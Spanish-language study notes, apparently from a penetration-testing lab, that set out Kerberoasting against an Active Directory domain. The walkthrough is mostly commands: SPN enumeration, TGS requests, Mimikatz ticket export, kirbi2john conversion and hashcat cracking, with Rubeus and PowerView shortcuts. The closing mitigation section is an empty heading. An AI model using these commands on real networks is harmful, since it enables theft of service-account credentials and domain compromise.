Kerberoasting desde Windows

📌 Enumeración de SPNs

setspn.exe -Q */*
Note

Esto lista todos los SPNs del dominio.
👉 Ignora los que son cuentas de máquina; te interesan SPNs vinculados a usuarios.
{0C4123C1-6DF9-4013-ADA6-5966E35FB8AC}.png


📌 Solicitar un TGS manualmente (PowerShell)

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
Tip

Este comando solicita el TGS en la sesión actual — así es como Rubeus lo hace por defecto.


📌 Solicitar TGS de TODOS los SPNs (poco óptimo)

setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { 
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() 
}
Warning

Esto genera tickets para cuentas de máquina también, por lo que tendrás mucha basura innecesaria.


📌 Extraer los tickets con Mimikatz

kerberos::list /export
Note

  • Sin base64 /out:true: genera .kirbi directamente.
  • Con base64 /out:true: te da el ticket en Base64, útil si no puedes mover archivos.
    {39A24BDA-5E45-4A95-B3E2-51218AFA9EFB}.png


📌 Si usas Base64 → Limpieza y conversión al .kirbi

Eliminar saltos de línea:

echo "<BASE64>" | tr -d \\n

Guardar y decodificar:

cat encoded_file | base64 -d > sqldev.kirbi

📌 Convertir .kirbi a formato “john/hashcat”

python2.7 kirbi2john.py sqldev.kirbi

Esto genera crack_file → modificarlo:

sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

📌 Cracking en Hashcat

hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
Success

Salida típica cuando encuentra la contraseña:
$krb5tgs$23$*sqldev... : database!


🚀 Versión rápida (herramientas automáticas)

PowerView

Get-DomainUser * -spn
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

Rubeus (lo más usado)

.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

{99F460FC-C5BF-444D-AA35-3A9B2F979D11}.png

Para crackear

hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

Pasted image 20251118182031.png

🛡️ Mitigation & Detection